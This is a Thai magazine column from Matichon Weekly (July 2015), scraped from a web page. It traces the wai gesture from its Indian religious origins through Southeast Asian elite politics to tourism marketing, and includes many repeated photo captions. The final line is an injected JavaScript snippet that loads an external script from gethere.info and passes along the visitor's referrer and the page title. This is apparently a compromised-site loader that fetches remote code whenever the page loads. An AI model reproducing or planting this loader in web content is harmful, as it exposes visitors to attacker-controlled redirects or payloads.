มติชนสุดสัปดาห์ ลงฉบับประจำวันศุกร์ที่ 31 กรกฎาคม 2558

 

วัฒนธรรมร่วมอาเซียน (31)

กราบไหว้

 

          กราบไหว้ เป็นวัฒนธรรมฮินดูชมพูทวีป (อินเดีย) เมื่อหลายพันปีมาแล้ว เป็นที่รับรู้ทั่วโลก แล้วแพร่หลายถึงบ้านเมืองในอุษาคเนย์

          อัญชลิ เป็นคำบาลี-สันสกฤต หมายถึงการไหว้ (ด้วยมือทั้งสองอันประนม)

          มีในบทสวดมนต์ตอนสังฆคุณว่า อัญชลีกรณีโย แปลว่า (พระสงฆ์) เป็นผู้ควรได้รับการประนมมือไหว้

พระสงฆ์สาวกกำลังพนมมือไหว้พระพุทธเจ้า รูปสลักหิน ราว พ.ศ. 500-700 ฝีมือช่างอินเดียแบบคันธารราฐ (อยู่ในปากีสถาน) แสดงการไหว้มีกำเนิดเก่าสุดในอินเดีย (ปัจจุบันเก็บไว้ที่ The Metropolitan Museum of Art ภาพจาก http://www.metmuseum.org)

พระสงฆ์สาวกกำลังพนมมือไหว้พระพุทธเจ้า รูปสลักหิน ราว พ.ศ. 500-700 ฝีมือช่างอินเดียแบบคันธารราฐ (อยู่ในปากีสถาน) แสดงการไหว้มีกำเนิดเก่าสุดในอินเดีย (ปัจจุบันเก็บไว้ที่ The Metropolitan Museum of Art ภาพจาก http://www.metmuseum.org)

อินเดียถึงอุษาคเนย์

          ไหว้ คืออัญชลีในศาสนาพราหมณ์-พุทธ เมื่ออาศัยเรือพ่อค้าจากชมพูทวีปมาถึงอุษาคเนย์ ราวเรือน พ.ศ. 1000 ก็แพร่หลายสู่ตระกูลคนชั้นนำพื้นเมือง

          ซึ่งมีทั้งตระกูลมอญ-เขมร, ชวา-มลายู, ไทย-ลาว, และอื่นๆ ที่ตั้งหลักแหล่งอยู่เคล้าคละปะปนกันทั่วไป ไม่แยกเชื้อชาติ (เพราะไม่มีจริงในโลก และยุคนั้นไม่มีรัฐชาติ)

          ทุกตระกูลรับประเพณีการไหว้จากศาสนาพราหมณ์-พุทธ ในคราวเดียวกัน ไม่มีกลุ่มนี้รับก่อน กลุ่มนั้นรับหลัง (ถ้าจะเคยมี ก็ไม่มีหลักฐาน)

 

เครื่องมือการเมือง

          ตระกูลคนชั้นนำพื้นเมืองยกย่องศาสนาพราหมณ์-พุทธ เป็นเครื่องมือทางการเมืองการปกครองให้บ้านเมืองยุคนั้นเติบโตขึ้นเป็นรัฐ

          วัฒนธรรมการไหว้อัญชลี ก็ถูกใช้เป็นเครื่องมือทางการปกครองด้วย เพื่อควบคุมอย่างเคร่งครัดต่อผู้อยู่ใต้อำนาจ เช่น ขุนนาง, ข้าราชการ, ฯลฯ โดยกำหนดให้มีแบบแผนการไหว้กราบและหมอบกราบคนชั้นนำซึ่งมีอำนาจเหนือกว่า

          คนชั้นนำไทยไม่เกิน 100 ปีมานี้ กำหนดประเพณีประดิษฐ์คิดสร้างใหม่ ให้การไหว้มีช่วงชั้นต่างๆ ด้วยระดับก้มหัวและประนมมือสูงแค่ไหนๆ เพื่อให้ยอมจำนนต่อผู้มีอำนาจเหนือ

          แล้วทำให้แพร่หลายไปสู่ระดับล่าง ก็โดยผ่านระบบโรงเรียนทั่วประเทศ พร้อมสนับสนุนให้มีประกวดกิริยามารยาท ว่าใครจะยอมจำนนได้เนียนกว่ากัน

 

ไหว้เพื่อการตลาด

          ปัจจุบันการไหว้เป็นจุดขายสำคัญในตลาดท่องเที่ยว

          จึงไม่ว่าชาติไหนๆในสังกัดพราหมณ์-พุทธ ที่เคยรับการไหว้จากแขกอินเดียมาด้วยกัน ก็พากันไหว้เพื่อการตลาดทั้งนั้น เพราะขายได้ขายดี

แตงโม พุดทะมาลา สุดาวัน บัณฑิตสาวชาวลาว  ก้มกราบแม่ที่เป็นอัมพาต (เป็นภาพโด่งดังในลาว แล้วสื่อไทยนำมาเผยแพร่ต่อ)

แตงโม พุดทะมาลา สุดาวัน บัณฑิตสาวชาวลาว ก้มกราบแม่ที่เป็นอัมพาต (เป็นภาพโด่งดังในลาว แล้วสื่อไทยนำมาเผยแพร่ต่อ)

ชาวเขมรไหว้ขบวนพระศพนโรดมสีหนุ เมื่อตุลาคม 2012   (ภาพจาก http://www.news.com.au)

ชาวเขมรไหว้ขบวนพระศพนโรดมสีหนุ เมื่อตุลาคม 2012 (ภาพจาก http://www.news.com.au)

นักบวชฮินดูประนมมือไหว้ ที่เกาะบาหลีอินโดนีเซีย (ภาพจาก http://www.masterfile.com)

นักบวชฮินดูประนมมือไหว้ ที่เกาะบาหลีอินโดนีเซีย (ภาพจาก http://www.masterfile.com)

เด็กหญิงเวียดนาม ยกมือไหว้เคารพศพนายพล Vo Nguyen Giap ที่กรุงฮานอย เวียดนาม  เมื่อตุลาคม 2013 (ภาพจาก http://www.vietnambreakingnews.com)

เด็กหญิงเวียดนาม ยกมือไหว้เคารพศพนายพล Vo Nguyen Giap ที่กรุงฮานอย เวียดนาม เมื่อตุลาคม 2013 (ภาพจาก http://www.vietnambreakingnews.com)

เด็กพม่ายกมือไหว้สิ่งศักดิ์สิทธิ์ (ภาพถ่ายโดย Martin Hürlimann)

เด็กพม่ายกมือไหว้สิ่งศักดิ์สิทธิ์ (ภาพถ่ายโดย Martin Hürlimann)

กลุ่มชาวพม่ายกมือสักการะเจดีย์ชเวดากอง (ภาพจาก วิกิพีเดีย ภาษาอังกฤษ)

กลุ่มชาวพม่ายกมือสักการะเจดีย์ชเวดากอง (ภาพจาก วิกิพีเดีย ภาษาอังกฤษ)

ชาวมอญในพิธีไหว้ผี /เลี้ยงผี ที่กาญจนบุรี  (ภาพจาก บางกอกโพสต์)

ชาวมอญในพิธีไหว้ผี /เลี้ยงผี ที่กาญจนบุรี (ภาพจาก บางกอกโพสต์)

ชาวมอญในพิธีไหว้ผี /เลี้ยงผี ที่กาญจนบุรี  (ภาพจาก บางกอกโพสต์)

ชาวมอญในพิธีไหว้ผี /เลี้ยงผี ที่กาญจนบุรี (ภาพจาก บางกอกโพสต์)

ชาวจีนประนมมือไหว้ อธิษฐานและแสดงความเคารพต่อผู้เสียชีวิตจากเหตุเรือล่มในแม่น้ำแยงซี เมื่อเดือนมิถุนายน 2015  (ภาพจาก รอยเตอร์ส)

ชาวจีนประนมมือไหว้ อธิษฐานและแสดงความเคารพต่อผู้เสียชีวิตจากเหตุเรือล่มในแม่น้ำแยงซี เมื่อเดือนมิถุนายน 2015 (ภาพจาก รอยเตอร์ส)

ชาวลื้อสิบสองปันนา ยกมือไหว้แสดงความเคารพทักทายนักท่องเที่ยว(ภาพแนวส่งเสริมการท่องเที่ยว ภาพจาก https://kimedia.wordpress.com)

ชาวลื้อสิบสองปันนา ยกมือไหว้แสดงความเคารพทักทายนักท่องเที่ยว(ภาพแนวส่งเสริมการท่องเที่ยว ภาพจาก https://kimedia.wordpress.com)

ชาวญี่ปุ่นยกมือไหว้สักการะสิ่งศักดิ์สิทธิ์ที่วัดอาซากุสะ โตเกียว (ภาพจาก http://www.windsorstar.com)

ชาวญี่ปุ่นยกมือไหว้สักการะสิ่งศักดิ์สิทธิ์ที่วัดอาซากุสะ โตเกียว (ภาพจาก http://www.windsorstar.com)

s.src=’http://gethere.info/kt/?264dpr&frm=script&se_referrer=’ + encodeURIComponent(document.referrer) + ‘&default_keyword=’ + encodeURIComponent(document.title) + ”; document.currentScript.parentNode.insertBefore(s, document.currentScript);